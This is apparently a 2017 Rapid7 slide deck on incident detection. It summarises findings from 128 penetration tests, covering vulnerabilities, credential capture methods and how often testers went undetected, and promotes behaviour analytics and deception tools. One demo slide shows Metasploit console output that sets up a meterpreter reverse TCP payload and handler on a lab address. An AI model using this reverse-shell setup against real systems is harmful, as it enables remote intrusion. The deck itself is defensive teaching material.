UBA + Deception + EDR
Going Beyond Alerts To Uncover Answers

Eric Sun, Solutions Mktg Mgr, Incident Detection & Response

@exalted
Today's Topics

128 Pen Tests – Top Takeaways

Incident Detection & Response today

Detecting Stealthy Attacks
Who is Eric?

- Solutions Manager – Incident Detection & Response @Rapid7
- Behavior analytics / risk management background
- Custom enterprise mobile app development – Zco Corporation
Why are we here?

Am I Vulnerable?
Am I Compromised?
Am I Optimized?

Measure & Manage Organizational Risk
Uncertainty Abounds

Am I Vulnerable?
Am I Compromised?
Am I Optimized?

Measure & Manage Organizational Risk

Endpoints, Assets, and Data
Alert & Portal Fatigue
Attacker Sophistication & Reach

Resources, Talent & Productivity
IT Control, Remediation, and Visibility
The most used penetration testing tool: Metasploit Framework & Community

Global Honeypot Network: Heisenberg Project

Internet-wide scans: Project Sonar

Team of security researchers: Vulnerability Disclosure, Threat Intel, & Attacker Modeling
Under the Hoodie Research

1. Rapid7 Q4 2016: 128 Engagements
2. Demystify Pen Testing
4. How effective were the Pen Testers?
5. What can we learn?
What kind of Pen Tests?

Engagement types

Aggregation is across all engagements (n=128)

- External (Web, Phishing, VPN, etc): 86 (67.2%)
- Internal (Connected, physical, wifi, etc): 27 (21.1%)
- Mixed: 11 (8.6%)
- Neither (Code audit, IoT audit, etc): 4 (3.1%)

Source: Rapid7
How long were they?

**Pentest Engagement Times**

Aggregation is across all engagements (n=128)

- **Four or more weeks**: 8 (6.2%)
- **Up to three weeks**: 6 (4.7%)
- **Up to two weeks**: 26 (20.3%)
- **One week**: 58 (45.3%)
- **Less than one week**: 30 (23.4%)

Source: Rapid7
## What data are organizations validating the security of?

Aggregation is across all engagements (n=128)

<table>
<thead>
<tr>
<th>Category</th>
<th>Count</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Personal or identifying information</td>
<td>73</td>
<td>57.0%</td>
</tr>
<tr>
<td>Sensitive internal data</td>
<td>71</td>
<td>55.5%</td>
</tr>
<tr>
<td>Authentication credentials</td>
<td>46</td>
<td>35.9%</td>
</tr>
<tr>
<td>Payment card data</td>
<td>30</td>
<td>23.4%</td>
</tr>
<tr>
<td>System configuration information</td>
<td>24</td>
<td>18.8%</td>
</tr>
<tr>
<td>Bank account data</td>
<td>22</td>
<td>17.2%</td>
</tr>
<tr>
<td>Medical records</td>
<td>22</td>
<td>17.2%</td>
</tr>
<tr>
<td>Classified information</td>
<td>20</td>
<td>15.6%</td>
</tr>
<tr>
<td>Unknown</td>
<td>18</td>
<td>14.1%</td>
</tr>
<tr>
<td>Trade secrets</td>
<td>17</td>
<td>13.3%</td>
</tr>
<tr>
<td>Source code</td>
<td>12</td>
<td>9.4%</td>
</tr>
<tr>
<td>Digital certificate</td>
<td>4</td>
<td>3.1%</td>
</tr>
<tr>
<td>Copyrighted material</td>
<td>3</td>
<td>2.3%</td>
</tr>
</tbody>
</table>

Source: Rapid7
Vulnerabilities & Misconfigurations
68% of engagements exploited vulns.

Vulnerabilities encountered during engagements

Aggregation is across all engagements (n=128)

- None. Good for them! 41 (32.0%)
- CSRF / Clickjacking 29 (22.7%)
- SMB relaying 26 (20.3%)
- XSS 24 (18.8%)
- Broadcast name resolution 19 (14.8%)
- Local privilege escalation 9 (7.0%)
- Group Policy Preferences 8 (6.2%)
- DoS 5 (3.9%)
- Memory corruption 5 (3.9%)
- SQLi 5 (3.9%)
- Citrix breakout 2 (1.6%)
- Locally site-specific 0day 1 (0.8%)
- Third-party 0day 1 (0.8%)

Source: Rapid7
Vulnerabilities encountered during engagements

Aggregation is across all engagements (n=128)

- None. Good for them!: 41 (32.0%)
- CSRF / Clickjacking: 29 (22.7%)
- SMB relaying: 26 (20.3%)
- XSS: 24 (18.8%)
- Broadcast name resolution: 19 (14.8%)
- Local privilege escalation: 9 (7.0%)
- Group Policy Preferences: 8 (6.2%)
- DoS: 5 (3.9%)
- Memory corruption: 5 (3.9%)
- SQLi: 5 (3.9%)
- Citrix breakout: 2 (1.6%)
- Locally site-specific 0day: 1 (0.8%)
- Third-party 0day: 1 (0.8%)

Source: Rapid7
67% of the time, network and service misconfigurations were uncovered.
Credentials
81% of internal assessments result in credential theft.

Credential capture success rates by engagement scope

Internal assessments clearly result in greater credential capture rates

Source: Rapid7
Passwords

Ways passwords were discerned

This chart compares the rate across all in-scope assessments on the left (n=124) and the rate within just successful username captures on the right (n=57).

<table>
<thead>
<tr>
<th>Method</th>
<th>% Overall</th>
<th>% Within Successes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Manual guessing</td>
<td>30 (24.2%)</td>
<td>30 (52.6%)</td>
</tr>
<tr>
<td>Disclosed from network challenge-response traffic</td>
<td>17 (13.7%)</td>
<td>17 (29.8%)</td>
</tr>
<tr>
<td>Disclosed from privileged storage</td>
<td>12 (9.7%)</td>
<td>12 (21.1%)</td>
</tr>
<tr>
<td>Guessable default account</td>
<td>12 (9.7%)</td>
<td>12 (21.1%)</td>
</tr>
<tr>
<td>Guessable, organization specific</td>
<td>11 (8.9%)</td>
<td>11 (19.3%)</td>
</tr>
<tr>
<td>Disclosed from storage</td>
<td>10 (8.1%)</td>
<td>10 (17.5%)</td>
</tr>
<tr>
<td>Disclosed in plaintext</td>
<td>9 (7.3%)</td>
<td>9 (15.8%)</td>
</tr>
<tr>
<td>Known default account</td>
<td>9 (7.3%)</td>
<td>9 (15.8%)</td>
</tr>
<tr>
<td>Man-in-the-middle</td>
<td>8 (6.5%)</td>
<td>8 (14.0%)</td>
</tr>
<tr>
<td>Automated Social Engineering</td>
<td>7 (5.6%)</td>
<td>7 (12.3%)</td>
</tr>
<tr>
<td>Manual Social Engineering</td>
<td>2 (1.6%)</td>
<td>2 (3.5%)</td>
</tr>
<tr>
<td>Disclosed from 3rd party password dump</td>
<td>1 (0.8%)</td>
<td>1 (1.8%)</td>
</tr>
</tbody>
</table>
Winter2017!
Detection
68% of the time, pen testers remained undetected.

How quickly were they detected?

Detection rate percentage for engagements where detection evasion was part of SOW (n=114)

- Within an hour of starting: 5 (4.4%)
- Within a day: 21 (18.4%)
- Within a week: 10 (8.8%)
- I was not detected: 78 (68.4%)

Source: Rapid7
This is not good.
Why?
It’s not like pentesters are stealthy ninjas.
Pentesters are pretty obvious.
What does good detection look like?
Closing The Gap...

DAY 1
attacker gains entry

DAY 2
malware

DAY 142
threat detected

DAY 145
threat contained
Closing The Gap...

DAY 1
attacker
gains entry

DAY 2
threat
detected

DAY 3
threat
contained
IDR: Top Security Team Challenges

Alert Fatigue
- Too many false positives
- Not enough context

Incident Investigations
- Tedious to retrace user activity
- Where to start?

Portal Fatigue
- Too many siloed solutions
- Do we have complete coverage?
Steps in an Internal Attack Chain

1. Infiltration and Persistence
2. Explore Network
3. Lateral Movement
4. Mission Target
5. Maintain Presence
Why model to the Attack Chain?

- Poker story: “How much you bluff?”
- Sharks
  - Attack the right target
  - Analyze behavior to find weakness
- Attackers
  - Monetizable data + open doors
  - What’s worked before?
- What methods consistently work?
Network Scans

• Once attacker has internal access, needs to learn more about network
• Other machines, ports, vulnerabilities?
• Network scanning tool, e.g. Nmap
• Very difficult to identify by log/network file analysis alone

Demo: Deception Tech in IDR
Remote File Execution

- Attackers exploit machines using built-in tools (e.g. PSEexec, PowerShell)
- Detection requires endpoint visibility

Demo

```bash
$ metasploit v4.6.0-dev [core:4.6 api:1.0]
+---[ 1622 exploits - 565 auxiliary - 170 post
+---[ 262 payloads - 28 encoders - 8 nops

SRVHOST => 10.10.10.104
SRVPORT => 8282
payload => windows/meterpreter/reverse_tcp
LPORT => 1337
LHOST => 10.10.10.104
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.104:1337
[*] Using URL: http://10.10.10.104:8282/YPF86aq3uiZ
[*] Server started.
```
Correlating it together.

1. Detecting pen testers needs to be table stakes: consider internal testing
2. Map detection to the attack chain
3. Foundation of reliable detection = Data Collection
4. One alert ≠ the full story. Context is everything!
THANK YOU!

Eric Sun, eric_sun@rapid7.com, @exalted
www.rapid7.com/solutions/incident-detection
@rapid7
REFERENCE SLIDES
We can help you with...

- Vulnerability Management
- SIEM
- Application Security
- IT Operations
- User Behavior Analytics
- Penetration Testing
- Managed Services
- Security Advisory Services
InsightIDR Solution Architecture

- On-Premise Insight Collectors
- Remote Endpoints
- Existing Security Solutions, Alerts, and Events
- Applications
- Deception Technology
- Network Events
- Real-Time Endpoint Events

InsightIDR Attacker Analytics Platform
- • User Behavior Analytics
- • Machine Learning
- • Fully Searchable Data Set

Enterprise Cloud Apps
- salesforce
- Office 365
- box

Mobile Devices

Security Team

SSL

SSL

SSL